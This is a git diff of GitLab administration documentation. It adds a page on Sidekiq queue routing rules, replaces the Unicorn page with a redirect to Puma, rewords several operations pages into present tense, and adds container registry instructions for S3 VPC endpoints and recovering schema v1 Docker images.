`queue_groups` must be in the queue -selector syntax. - -### Available attributes - -- [Introduced](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/261) in GitLab 13.1, `tags`. - -From the [list of all available -attributes](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/all_queues.yml), -`queue_selector` allows selecting of queues by the following attributes: - -- `feature_category` - the [GitLab feature - category](https://about.gitlab.com/direction/maturity/#category-maturity) the - queue belongs to. For example, the `merge` queue belongs to the - `source_code_management` category. -- `has_external_dependencies` - whether or not the queue connects to external - services. For example, all importers have this set to `true`. -- `urgency` - how important it is that this queue's jobs run - quickly. Can be `high`, `low`, or `throttled`. For example, the - `authorized_projects` queue is used to refresh user permissions, and - is high urgency. -- `worker_name` - the worker name. The other attributes are typically more useful as - they are more general, but this is available in case a particular worker needs - to be selected. -- `name` - the queue name. Similiarly, this is available in case a particular queue needs - to be selected. -- `resource_boundary` - if the queue is bound by `cpu`, `memory`, or - `unknown`. For example, the `project_export` queue is memory bound as it has - to load data in memory before saving it for export. -- `tags` - short-lived annotations for queues. These are expected to frequently - change from release to release, and may be removed entirely. - -`has_external_dependencies` is a boolean attribute: only the exact -string `true` is considered true, and everything else is considered -false. - -`tags` is a set, which means that `=` checks for intersecting sets, and -`!=` checks for disjoint sets. For example, `tags=a,b` selects queues -that have tags `a`, `b`, or both. `tags!=a,b` selects queues that have -neither of those tags. - -### Available operators - -`queue_selector` supports the following operators, listed from highest -to lowest precedence: - -- `|` - the logical OR operator. For example, `query_a|query_b` (where `query_a` - and `query_b` are queries made up of the other operators here) will include - queues that match either query. -- `&` - the logical AND operator. For example, `query_a&query_b` (where - `query_a` and `query_b` are queries made up of the other operators here) will - only include queues that match both queries. -- `!=` - the NOT IN operator. For example, `feature_category!=issue_tracking` - excludes all queues from the `issue_tracking` feature category. -- `=` - the IN operator. For example, `resource_boundary=cpu` includes all - queues that are CPU bound. -- `,` - the concatenate set operator. For example, - `feature_category=continuous_integration,pages` includes all queues from - either the `continuous_integration` category or the `pages` category. This - example is also possible using the OR operator, but allows greater brevity, as - well as being lower precedence. - -The operator precedence for this syntax is fixed: it's not possible to make AND -have higher precedence than OR. - -[In GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26594) and -later, as with the standard queue group syntax above, a single `*` as the -entire queue group selects all queues. - -### Example queries +In addition to selecting queues by name, as above, the `queue_selector` option +allows queue groups to be selected in a more general way using a [worker matching +query](extra_sidekiq_routing.md#worker-matching-query). After `queue_selector` +is set, all `queue_groups` must follow the aforementioned syntax. In `/etc/gitlab/gitlab.rb`: @@ -215,7 +142,7 @@ WARNING: Sidekiq cluster is [scheduled](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/240) to be the only way to start Sidekiq in GitLab 14.0. -By default, the Sidekiq service will run `sidekiq-cluster`. To disable this behavior, +By default, the Sidekiq service runs `sidekiq-cluster`. To disable this behavior, add the following to the Sidekiq configuration: ```ruby @@ -224,7 +151,7 @@ sidekiq['cluster'] = false ``` All of the aforementioned configuration options for `sidekiq` -are available. By default, they will be configured as follows: +are available. By default, they are configured as follows: ```ruby sidekiq['queue_selector'] = false @@ -241,14 +168,14 @@ cluster as above. When disabling `sidekiq_cluster`, you must copy your configuration for `sidekiq_cluster`over to `sidekiq`. Anything configured for -`sidekiq_cluster` will be overridden by the options for `sidekiq` when +`sidekiq_cluster` is overridden by the options for `sidekiq` when setting `sidekiq['cluster'] = true`. -When using this feature, the service called `sidekiq` will now be +When using this feature, the service called `sidekiq` is now running `sidekiq-cluster`. The [concurrency](#manage-concurrency) and other options configured -for Sidekiq will be respected. +for Sidekiq are respected. By default, logs for `sidekiq-cluster` go to `/var/log/gitlab/sidekiq` like regular Sidekiq logs. @@ -293,7 +220,7 @@ use all of its resources to perform those operations. To set up a separate Each process defined under `sidekiq` starts with a number of threads that equals the number of queues, plus one spare thread. For example, a process that handles the `process_commit` and `post_receive` -queues will use three threads in total. +queues uses three threads in total. ## Manage concurrency @@ -324,16 +251,16 @@ Running Sidekiq cluster is the default in GitLab 13.0 and later. ``` `min_concurrency` and `max_concurrency` are independent; one can be set without -the other. Setting `min_concurrency` to `0` will disable the limit. +the other. Setting `min_concurrency` to `0` disables the limit. For each queue group, let `N` be one more than the number of queues. The -concurrency factor will be set to: +concurrency factor are set to: 1. `N`, if it's between `min_concurrency` and `max_concurrency`. 1. `max_concurrency`, if `N` exceeds this value. 1. `min_concurrency`, if `N` is less than this value. -If `min_concurrency` is equal to `max_concurrency`, then this value will be used +If `min_concurrency` is equal to `max_concurrency`, then this value is used regardless of the number of queues. When `min_concurrency` is greater than `max_concurrency`, it is treated as @@ -360,7 +287,7 @@ Running Sidekiq directly is scheduled to be removed in GitLab sudo gitlab-ctl reconfigure ``` -This will set the concurrency (number of threads) for the Sidekiq process. +This sets the concurrency (number of threads) for the Sidekiq process. ## Modify the check interval @@ -426,21 +353,21 @@ you'd use the following: ### Monitor the `sidekiq-cluster` command -The `sidekiq-cluster` command will not terminate once it has started the desired -amount of Sidekiq processes. Instead, the process will continue running and +The `sidekiq-cluster` command does not terminate once it has started the desired +amount of Sidekiq processes. Instead, the process continues running and forward any signals to the child processes. This makes it easy to stop all Sidekiq processes as you simply send a signal to the `sidekiq-cluster` process, instead of having to send it to the individual processes. If the `sidekiq-cluster` process crashes or receives a `SIGKILL`, the child -processes will terminate themselves after a few seconds. This ensures you don't +processes terminate themselves after a few seconds. This ensures you don't end up with zombie Sidekiq processes. All of this makes monitoring the processes fairly easy. Simply hook up `sidekiq-cluster` to your supervisor of choice (for example, runit) and you're good to go. -If a child process died the `sidekiq-cluster` command will signal all remaining +If a child process died the `sidekiq-cluster` command signals all remaining process to terminate, then terminate itself. This removes the need for `sidekiq-cluster` to re-implement complex process monitoring/restarting code. Instead you should make sure your supervisor restarts the `sidekiq-cluster` @@ -456,7 +383,7 @@ file is written, but this can be changed by passing the `--pidfile` option to /opt/gitlab/embedded/service/gitlab-rails/bin/sidekiq-cluster --pidfile /var/run/gitlab/sidekiq_cluster.pid process_commit ``` -Keep in mind that the PID file will contain the PID of the `sidekiq-cluster` +Keep in mind that the PID file contains the PID of the `sidekiq-cluster` command and not the PID(s) of the started Sidekiq processes. ### Environment diff --git a/doc/administration/operations/extra_sidekiq_routing.md b/doc/administration/operations/extra_sidekiq_routing.md new file mode 100644 index 00000000000..93cf8bd4f43 --- /dev/null +++ b/doc/administration/operations/extra_sidekiq_routing.md @@ -0,0 +1,164 @@ +--- +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Queue routing rules **(FREE SELF)** + +When the number of Sidekiq jobs increases to a certain scale, the system faces +some scalability issues. One of them is that the length of the queue tends to get +longer. High-urgency jobs have to wait longer until other less urgent jobs +finish. This head-of-line blocking situation may eventually affect the +responsiveness of the system, especially critical actions. In another scenario, +the performance of some jobs is degraded due to other long running or CPU-intensive jobs +(computing or rendering ones) in the same machine. + +To counter the aforementioned issues, one effective solution is to split +Sidekiq jobs into different queues and assign machines handling each queue +exclusively. For example, all CPU-intensive jobs could be routed to the +`cpu-bound` queue and handled by a fleet of CPU optimized instances. The queue +topology differs between companies depending on the workloads and usage +patterns. Therefore, GitLab supports a flexible mechanism for the +administrator to route the jobs based on their characteristics. + +As an alternative to [Queue selector](extra_sidekiq_processes.md#queue-selector), which +configures Sidekiq cluster to listen to a specific set of workers or queues, +GitLab also supports routing a job from a worker to the desired queue when it +is scheduled. Sidekiq clients try to match a job against a configured list of +routing rules. Rules are evaluated from first to last, and as soon as we find a +match for a given worker we stop processing for that worker (first match wins). +If the worker doesn't match any rule, it falls back to the queue name generated +from the worker name. + +By default, if the routing rules are not configured (or denoted with an empty +array), all the jobs are routed to the queue generated from the worker name. + +## Example configuration + +In `/etc/gitlab/gitlab.rb`: + +```ruby +sidekiq['routing_rules'] = [ + # Route all non-CPU-bound workers that are high urgency to `high-urgency` queue + ['resource_boundary!=cpu&urgency=high', 'high-urgency'], + # Route all database, gitaly and global search workers that are throttled to `throttled` queue + ['feature_category=database,gitaly,global_search&urgency=throttled', 'throttled'], + # Route all workers having contact with outside work to a `network-intenstive` queue + ['has_external_dependencies=true|feature_category=hooks|tags=network', 'network-intensive'], + # Route all import workers to the queues generated by the worker name, for + # example, JiraImportWorker to `jira_import`, SVNWorker to `svn_worker` + ['feature_category=import', nil], + # Wildcard matching, route the rest to `default` queue + ['*', 'default'] +] +``` + +The routing rules list is an order-matter array of tuples of query and +corresponding queue: + +- The query is following a [worker matching query](#worker-matching-query) syntax. +- The `<queue_name>` must be a valid Sidekiq queue name. If the queue name + is `nil`, or an empty string, the worker is routed to the queue generated + by the name of the worker instead. + +The query supports wildcard matching `*`, which matches all workers. As a +result, the wildcard query must stay at the end of the list or the rules after it +are ignored. + +NOTE: +Mixing queue routing rules and queue selectors requires care to +ensure all jobs that are scheduled and picked up by appropriate Sidekiq +workers. + +## Worker matching query + +GitLab provides a simple query syntax to match a worker based on its +attributes. This query syntax is employed by both [Queue routing +rules](#queue-routing-rules) and [Queue +selector](extra_sidekiq_processes.md#queue-selector). A query includes two +components: + +- Attributes that can be selected. +- Operators used to construct a query. + +### Available attributes + +> [Introduced](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/261) in GitLab 13.1 (`tags`). + +Queue matching query works upon the worker attributes, described in [Sidekiq +style guide](../../development/sidekiq_style_guide.md). We support querying +based on a subset of worker attributes: + +- `feature_category` - the [GitLab feature + category](https://about.gitlab.com/direction/maturity/#category-maturity) the + queue belongs to. For example, the `merge` queue belongs to the + `source_code_management` category. +- `has_external_dependencies` - whether or not the queue connects to external + services. For example, all importers have this set to `true`. +- `urgency` - how important it is that this queue's jobs run + quickly. Can be `high`, `low`, or `throttled`. For example, the + `authorized_projects` queue is used to refresh user permissions, and + is high urgency. +- `worker_name` - the worker name. The other attributes are typically more useful as + they are more general, but this is available in case a particular worker needs + to be selected. +- `name` - the queue name. The other attributes are typically more useful as + they are more general, but this is available in case a particular queue needs + to be selected. +- `resource_boundary` - if the queue is bound by `cpu`, `memory`, or + `unknown`. For example, the `ProjectExportWorker` is memory bound as it has + to load data in memory before saving it for export. +- `tags` - short-lived annotations for queues. These are expected to frequently + change from release to release, and may be removed entirely. + +`has_external_dependencies` is a boolean attribute: only the exact +string `true` is considered true, and everything else is considered +false. + +`tags` is a set, which means that `=` checks for intersecting sets, and +`!=` checks for disjoint sets. For example, `tags=a,b` selects queues +that have tags `a`, `b`, or both. `tags!=a,b` selects queues that have +neither of those tags. + +The attributes of each worker are hard-coded in the source code. For +convenience, we generate a [list of all available attributes in +GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/all_queues.yml) +and a [list of all available attributes in +GitLab Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/all_queues.yml). + +### Available operators + +`queue_selector` supports the following operators, listed from highest +to lowest precedence: + +- `|` - the logical OR operator. For example, `query_a|query_b` (where `query_a` + and `query_b` are queries made up of the other operators here) will include + queues that match either query. +- `&` - the logical AND operator. For example, `query_a&query_b` (where + `query_a` and `query_b` are queries made up of the other operators here) will + only include queues that match both queries. +- `!=` - the NOT IN operator. For example, `feature_category!=issue_tracking` + excludes all queues from the `issue_tracking` feature category. +- `=` - the IN operator. For example, `resource_boundary=cpu` includes all + queues that are CPU bound. +- `,` - the concatenate set operator. For example, + `feature_category=continuous_integration,pages` includes all queues from + either the `continuous_integration` category or the `pages` category. This + example is also possible using the OR operator, but allows greater brevity, as + well as being lower precedence. + +The operator precedence for this syntax is fixed: it's not possible to make AND +have higher precedence than OR. + +[In GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26594) and +later, as with the standard queue group syntax above, a single `*` as the +entire queue group selects all queues. + +### Migration + +After the Sidekiq routing rules are changed, administrators need to take care +with the migration to avoid losing jobs entirely, especially in a system with +long queues of jobs. The migration can be done by following the migration steps +mentioned in [Sidekiq job +migration](../../raketasks/sidekiq_job_migration.md) diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md index 980db9713ee..8acc40da4ab 100644 --- a/doc/administration/operations/fast_ssh_key_lookup.md +++ b/doc/administration/operations/fast_ssh_key_lookup.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Fast lookup of authorized SSH keys in the database +# Fast lookup of authorized SSH keys in the database **(FREE SELF)** NOTE: This document describes a drop-in replacement for the @@ -34,8 +34,15 @@ feature for CentOS 6, follow [the instructions on how to build and install a cus ## Fast lookup is required for Geo **(PREMIUM)** -By default, GitLab manages an `authorized_keys` file, which contains all the -public SSH keys for users allowed to access GitLab. However, to maintain a +By default, GitLab manages an `authorized_keys` file that is located in the +`git` user's home directory. For most installations, this will be located under +`/var/opt/gitlab/.ssh/authorized_keys`, but you can use the following command to locate the `authorized_keys` on your system.: + +```shell +getent passwd git | cut -d: -f6 | awk '{print $1"/.ssh/authorized_keys"}' +``` + +The `authorized_keys` file contains all the public SSH keys for users allowed to access GitLab. However, to maintain a single source of truth, [Geo](../geo/index.md) needs to be configured to perform SSH fingerprint lookups via database lookup. @@ -73,7 +80,7 @@ sudo service sshd reload ``` Confirm that SSH is working by commenting out your user's key in the `authorized_keys` -(start the line with a `#` to comment it), and attempting to pull a repository. +file (start the line with a `#` to comment it), and attempting to pull a repository. A successful pull would mean that GitLab was able to find the key in the database, since it is not present in the file anymore. @@ -219,5 +226,5 @@ the database. The following instructions can be used to build OpenSSH 7.5: GitLab supports `authorized_keys` database lookups with [SELinux](https://en.wikipedia.org/wiki/Security-Enhanced_Linux). Because the SELinux policy is static, GitLab doesn't support the ability to change -internal Unicorn ports at the moment. Administrators would have to create a special `.te` +internal webserver ports at the moment. Administrators would have to create a special `.te` file for the environment, since it isn't generated dynamically. diff --git a/doc/administration/operations/filesystem_benchmarking.md b/doc/administration/operations/filesystem_benchmarking.md index ffce104e1ad..a0ad2e24a4c 100644 --- a/doc/administration/operations/filesystem_benchmarking.md +++ b/doc/administration/operations/filesystem_benchmarking.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# File system Performance Benchmarking +# File system performance benchmarking **(FREE SELF)** File system performance has a big impact on overall GitLab performance, especially for actions that read or write to Git repositories. This information diff --git a/doc/administration/operations/index.md b/doc/administration/operations/index.md index 708861d8529..4b16c3b3a7e 100644 --- a/doc/administration/operations/index.md +++ b/doc/administration/operations/index.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Performing Operations in GitLab +# Performing operations in GitLab **(FREE SELF)** Keep your GitLab instance up and running smoothly. @@ -21,8 +21,8 @@ Keep your GitLab instance up and running smoothly. - [Sidekiq MemoryKiller](sidekiq_memory_killer.md): Configure Sidekiq MemoryKiller to restart Sidekiq. - [Multiple Sidekiq processes](extra_sidekiq_processes.md): Configure multiple Sidekiq processes to ensure certain queues always have dedicated workers, no matter the number of jobs that need to be processed. **(FREE SELF)** +- [Sidekiq routing rules](extra_sidekiq_routing.md): Configure the routing rules to route a job from a worker to a desirable queue. **(FREE SELF)** - [Puma](puma.md): Understand Puma and puma-worker-killer. -- [Unicorn](unicorn.md): Understand Unicorn and unicorn-worker-killer. - Speed up SSH operations by [Authorizing SSH users via a fast, indexed lookup to the GitLab database](fast_ssh_key_lookup.md), and/or by [doing away with user SSH keys stored on GitLab entirely in favor diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md index 3b676010bfe..fffff78b9d6 100644 --- a/doc/administration/operations/puma.md +++ b/doc/administration/operations/puma.md @@ -4,11 +4,10 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Switching to Puma +# Switching to Puma **(FREE SELF)** As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced [Unicorn](https://yhbt.net/unicorn/) -as the default web server. From GitLab 13.0, the following run Puma instead of Unicorn unless -explicitly configured not to: +as the default web server. From GitLab 14.0, the following run Puma: - All-in-one package-based installations. - Helm chart-based installations. @@ -25,7 +24,7 @@ Multi-threaded Puma can therefore still serve more requests than a single proces ## Configuring Puma to replace Unicorn -Beginning with GitLab 13.0, Puma is the default application server. We plan to remove support for +Beginning with GitLab 13.0, Puma is the default application server. We removed support for Unicorn in GitLab 14.0. When switching to Puma, Unicorn server configuration diff --git a/doc/administration/operations/sidekiq_memory_killer.md b/doc/administration/operations/sidekiq_memory_killer.md index c7f00d05213..d3019e2c580 100644 --- a/doc/administration/operations/sidekiq_memory_killer.md +++ b/doc/administration/operations/sidekiq_memory_killer.md @@ -19,7 +19,7 @@ _only_ for Omnibus packages. The reason for this is that the MemoryKiller relies on runit to restart Sidekiq after a memory-induced shutdown and GitLab installations from source do not all use runit or an equivalent. -With the default settings, the MemoryKiller will cause a Sidekiq restart no +With the default settings, the MemoryKiller causes a Sidekiq restart no more often than once every 15 minutes, with the restart causing about one minute of delay for incoming background jobs. @@ -48,13 +48,13 @@ The MemoryKiller is controlled using environment variables. `SIDEKIQ_MEMORY_KILLER_MAX_RSS` defines the Sidekiq process allowed RSS. In _legacy_ mode, if the Sidekiq process exceeds the allowed RSS then an irreversible - delayed graceful restart will be triggered. The restart of Sidekiq will happen + delayed graceful restart is triggered. The restart of Sidekiq happens after `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` seconds. In _daemon_ mode, if the Sidekiq process exceeds the allowed RSS for longer than - `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` the graceful restart will be triggered. If the + `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` the graceful restart is triggered. If the Sidekiq process go below the allowed RSS within `SIDEKIQ_MEMORY_KILLER_GRACE_TIME`, - the restart will be aborted. + the restart is aborted. The default value for Omnibus packages is set [in the Omnibus GitLab @@ -71,13 +71,13 @@ The MemoryKiller is controlled using environment variables. The usage of this variable is described as part of `SIDEKIQ_MEMORY_KILLER_MAX_RSS`. - `SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT`: defaults to 30 seconds. This defines the - maximum time allowed for all Sidekiq jobs to finish. No new jobs will be accepted - during that time, and the process will exit as soon as all jobs finish. + maximum time allowed for all Sidekiq jobs to finish. No new jobs are accepted + during that time, and the process exits as soon as all jobs finish. - If jobs do not finish during that time, the MemoryKiller will interrupt all currently + If jobs do not finish during that time, the MemoryKiller interrupts all currently running jobs by sending `SIGTERM` to the Sidekiq process. If the process hard shutdown/restart is not performed by Sidekiq, - the Sidekiq process will be forcefully terminated after + the Sidekiq process is forcefully terminated after `Sidekiq.options[:timeout] + 2` seconds. An external supervision mechanism (e.g. runit) must restart Sidekiq afterwards. diff --git a/doc/administration/operations/ssh_certificates.md b/doc/administration/operations/ssh_certificates.md index cc09ad95dce..508d284b0bd 100644 --- a/doc/administration/operations/ssh_certificates.md +++ b/doc/administration/operations/ssh_certificates.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# User lookup via OpenSSH's AuthorizedPrincipalsCommand +# User lookup via OpenSSH's AuthorizedPrincipalsCommand **(FREE SELF)** > [Available in](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19911) GitLab > Community Edition 11.2. diff --git a/doc/administration/operations/unicorn.md b/doc/administration/operations/unicorn.md index 03995ee05ba..6cee19186f9 100644 --- a/doc/administration/operations/unicorn.md +++ b/doc/administration/operations/unicorn.md @@ -1,115 +1,9 @@ --- -stage: Enablement -group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'puma.md' +remove_date: '2021-08-26' --- -# Understanding Unicorn and unicorn-worker-killer +This file was moved to [another location](puma.md). -NOTE: -Starting with GitLab 13.0, Puma is the default web server used in GitLab -all-in-one package based installations as well as GitLab Helm chart deployments. - -## Unicorn - -GitLab uses [Unicorn](https://yhbt.net/unicorn/), a pre-forking Ruby web -server, to handle web requests (web browsers and Git HTTP clients). Unicorn is -a daemon written in Ruby and C that can load and run a Ruby on Rails -application; in our case the Rails application is GitLab Community Edition or -GitLab Enterprise Edition. - -Unicorn has a multi-process architecture to make better use of available CPU -cores (processes can run on different cores) and to have stronger fault -tolerance (most failures stay isolated in only one process and cannot take down -GitLab entirely). On startup, the Unicorn 'master' process loads a clean Ruby -environment with the GitLab application code, and then spawns 'workers' which -inherit this clean initial environment. The 'master' never handles any -requests, that is left to the workers. The operating system network stack -queues incoming requests and distributes them among the workers. - -In a perfect world, the master would spawn its pool of workers once, and then -the workers handle incoming web requests one after another until the end of -time. In reality, worker processes can crash or time out: if the master notices -that a worker takes too long to handle a request it will terminate the worker -process with SIGKILL ('kill -9'). No matter how the worker process ended, the -master process will replace it with a new 'clean' process again. Unicorn is -designed to be able to replace 'crashed' workers without dropping user -requests. - -This is what a Unicorn worker timeout looks like in `unicorn_stderr.log`. The -master process has PID 56227 below. - -```plaintext -[2015-06-05T10:58:08.660325 #56227] ERROR -- : worker=10 PID:53009 timeout (61s > 60s), killing -[2015-06-05T10:58:08.699360 #56227] ERROR -- : reaped #<Process::Status: pid 53009 SIGKILL (signal 9)> worker=10 -[2015-06-05T10:58:08.708141 #62538] INFO -- : worker=10 spawned pid=62538 -[2015-06-05T10:58:08.708824 #62538] INFO -- : worker=10 ready -``` - -### Tunable options - -The main tunable options for Unicorn are the number of worker processes and the -request timeout after which the Unicorn master terminates a worker process. -See the [Omnibus GitLab Unicorn settings -documentation](https://docs.gitlab.com/omnibus/settings/unicorn.html) -if you want to adjust these settings. - -## unicorn-worker-killer - -GitLab has memory leaks. These memory leaks manifest themselves in long-running -processes, such as Unicorn workers. (The Unicorn master process is not known to -leak memory, probably because it does not handle user requests.) - -To make these memory leaks manageable, GitLab comes with the -[unicorn-worker-killer gem](https://github.com/kzk/unicorn-worker-killer). This -gem [monkey-patches](https://en.wikipedia.org/wiki/Monkey_patch) the Unicorn -workers to do a memory self-check after every 16 requests. If the memory of the -Unicorn worker exceeds a pre-set limit then the worker process exits. The -Unicorn master then automatically replaces the worker process. - -This is a robust way to handle memory leaks: Unicorn is designed to handle -workers that 'crash' so no user requests will be dropped. The -unicorn-worker-killer gem is designed to only terminate a worker process _in -between requests_, so no user requests are affected. You can set the minimum and -maximum memory threshold (in bytes) for the Unicorn worker killer by -setting the following values `/etc/gitlab/gitlab.rb`: - -- For GitLab **12.7** and newer: - - ```ruby - unicorn['worker_memory_limit_min'] = "1024 * 1 << 20" - unicorn['worker_memory_limit_max'] = "1280 * 1 << 20" - ``` - -- For GitLab **12.6** and older: - - ```ruby - unicorn['worker_memory_limit_min'] = "400 * 1 << 20" - unicorn['worker_memory_limit_max'] = "650 * 1 << 20" - ``` - -Otherwise, you can set the `GITLAB_UNICORN_MEMORY_MIN` and `GITLAB_UNICORN_MEMORY_MAX` -[environment variables](../environment_variables.md). - -This is what a Unicorn worker memory restart looks like in unicorn_stderr.log. -You see that worker 4 (PID 125918) is inspecting itself and decides to exit. -The threshold memory value was 254802235 bytes, about 250MB. With GitLab this -threshold is a random value between 200 and 250 MB. The master process (PID -117565) then reaps the worker process and spawns a new 'worker 4' with PID -127549. - -```plaintext -[2015-06-05T12:07:41.828374 #125918] WARN -- : #<Unicorn::HttpServer:0x00000002734770>: worker (pid: 125918) exceeds memory limit (256413696 bytes > 254802235 bytes) -[2015-06-05T12:07:41.828472 #125918] WARN -- : Unicorn::WorkerKiller send SIGQUIT (pid: 125918) alive: 23 sec (trial 1) -[2015-06-05T12:07:42.025916 #117565] INFO -- : reaped #<Process::Status: pid 125918 exit 0> worker=4 -[2015-06-05T12:07:42.034527 #127549] INFO -- : worker=4 spawned pid=127549 -[2015-06-05T12:07:42.035217 #127549] INFO -- : worker=4 ready -``` - -One other thing that stands out in the log snippet above, taken from -GitLab.com, is that 'worker 4' was serving requests for only 23 seconds. This -is a normal value for our current GitLab.com setup and traffic. - -The high frequency of Unicorn memory restarts on some GitLab sites can be a -source of confusion for administrators. Usually they are a [red -herring](https://en.wikipedia.org/wiki/Red_herring). +<!-- This redirect file can be deleted after <2021-08-26>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md index 14e54513536..a6829b90f18 100644 --- a/doc/administration/packages/container_registry.md +++ b/doc/administration/packages/container_registry.md @@ -44,7 +44,7 @@ If you have installed GitLab from source: 1. After the installation is complete, to enable it, you must configure the Registry's settings in `gitlab.yml`. 1. Use the sample NGINX configuration file from under - [`lib/support/nginx/registry-ssl`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/support/nginx/registry-ssl) and edit it to match the + [`lib/support/nginx/registry-ssl`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/support/nginx/registry-ssl) and edit it to match the `host`, `port`, and TLS certificate paths. The contents of `gitlab.yml` are: @@ -417,8 +417,27 @@ To configure the `s3` storage driver in Omnibus: } ``` - - `regionendpoint` is only required when configuring an S3 compatible service such as MinIO. It takes a URL such as `http://127.0.0.1:9000`. + If using with an [AWS S3 VPC endpoint](https://docs.aws.amazon.com/vpc/latest/privatelink/vpc-endpoints-s3.html), + then set `regionendpoint` to your VPC endpoint address and set `path_style` to false: + + ```ruby + registry['storage'] = { + 's3' => { + 'accesskey' => 's3-access-key', + 'secretkey' => 's3-secret-key-for-access-key', + 'bucket' => 'your-s3-bucket', + 'region' => 'your-s3-region', + 'regionendpoint' => 'your-s3-vpc-endpoint', + 'path_style' => false + } + } + ``` + + - `regionendpoint` is only required when configuring an S3 compatible service such as MinIO, or + when using an AWS S3 VPC Endpoint. - `your-s3-bucket` should be the name of a bucket that exists, and can't include subdirectories. + - `path_style` should be set to true to use `host/bucket_name/object` style paths instead of + `bucket_name.host/object`. [Set to false for AWS S3](https://aws.amazon.com/blogs/aws/amazon-s3-path-deprecation-plan-the-rest-of-the-story/). 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -1274,6 +1293,88 @@ curl "localhost:5001/debug/health" curl "localhost:5001/debug/vars" ``` +### Access old schema v1 Docker images + +Support for the [Docker registry v1 API](https://www.docker.com/blog/registry-v1-api-deprecation/), +including [schema V1 image manifests](https://docs.docker.com/registry/spec/manifest-v2-1/), +was: + +- [Deprecated in GitLab 13.7](https://about.gitlab.com/releases/2020/12/22/gitlab-13-7-released/#deprecate-pulls-that-use-v1-of-the-docker-registry-api) +- [Removed in GitLab 13.9](https://about.gitlab.com/releases/2021/02/22/gitlab-13-9-released/#deprecate-pulls-that-use-v1-of-the-docker-registry-api) + +It's no longer possible to push or pull v1 images from the GitLab Container Registry. + +If you had v1 images in the GitLab Container Registry, but you did not upgrade them (following the +[steps Docker recommends](https://docs.docker.com/registry/spec/deprecated-schema-v1/)) +ahead of the GitLab 13.9 upgrade, these images are no longer accessible. If you try to pull them, +this error appears: + +- `Error response from daemon: manifest invalid: Schema 1 manifest not supported` + +For Self-Managed GitLab instances, you can regain access to these images by temporarily downgrading +the GitLab Container Registry to a version lower than `v3.0.0-gitlab`. Follow these steps to regain +access to these images: + +1. Downgrade the Container Registry to [`v2.13.1-gitlab`](https://gitlab.com/gitlab-org/container-registry/-/releases/v2.13.1-gitlab). +1. Upgrade any v1 images. +1. Revert the Container Registry downgrade. + +There's no need to put the registry in read-only mode during the image upgrade process. Ensure that +you are not relying on any new feature introduced since `v3.0.0-gitlab`. Such features are +unavailable during the upgrade process. See the [complete registry changelog](https://gitlab.com/gitlab-org/container-registry/-/blob/master/CHANGELOG.md) +for more information. + +The following sections provide additional details about each installation method. + +#### Helm chart installations + +For Helm chart installations: + +1. Override the [`image.tag`](https://docs.gitlab.com/charts/charts/registry/#configuration) + configuration parameter with `v2.13.1-gitlab`. +1. Restart. +1. Performing the [images upgrade](#images-upgrade)) steps. +1. Revert the `image.tag` parameter to the previous value. + +No other registry configuration changes are required. + +#### Omnibus installations + +For Omnibus installations: + +1. Temporarily replace the registry binary that ships with GitLab 13.9+ for one prior to + `v3.0.0-gitlab`. To do so, pull a previous version of the Docker image for the GitLab Container + Registry, such as `v2.13.1-gitlab`. You can then grab the `registry` binary from within this + image, located at `/bin/registry`: + + ```shell + id=$(docker create registry.gitlab.com/gitlab-org/build/cng/gitlab-container-registry:v2.13.1-gitlab) + docker cp $id:/bin/registry registry-2.13.1-gitlab + docker rm $id + ``` + +1. Replace the binary embedded in the Omnibus install, located at + `/opt/gitlab/embedded/bin/registry`, with `registry-2.13.1-gitlab`. Make sure to start by backing + up the original binary embedded in Omnibus, and restore it after performing the + [image upgrade](#images-upgrade)) steps. You should [stop](https://docs.gitlab.com/omnibus/maintenance/#starting-and-stopping) + the registry service before replacing its binary and start it right after. No registry + configuration changes are required. + +#### Source installations + +For source installations, locate your `registry` binary and temporarily replace it with the one +obtained from `v3.0.0-gitlab`, as explained for [Omnibus installations](#omnibus-installations). +Make sure to start by backing up the original registry binary, and restore it after performing the +[images upgrade](#images-upgrade)) +steps. + +#### Images upgrade + +Follow the [steps that Docker recommends to upgrade v1 images](https://docs.docker.com/registry/spec/deprecated-schema-v1/). +The most straightforward option is to pull those images and push them once again to the registry, +using a Docker client version above v1.12. 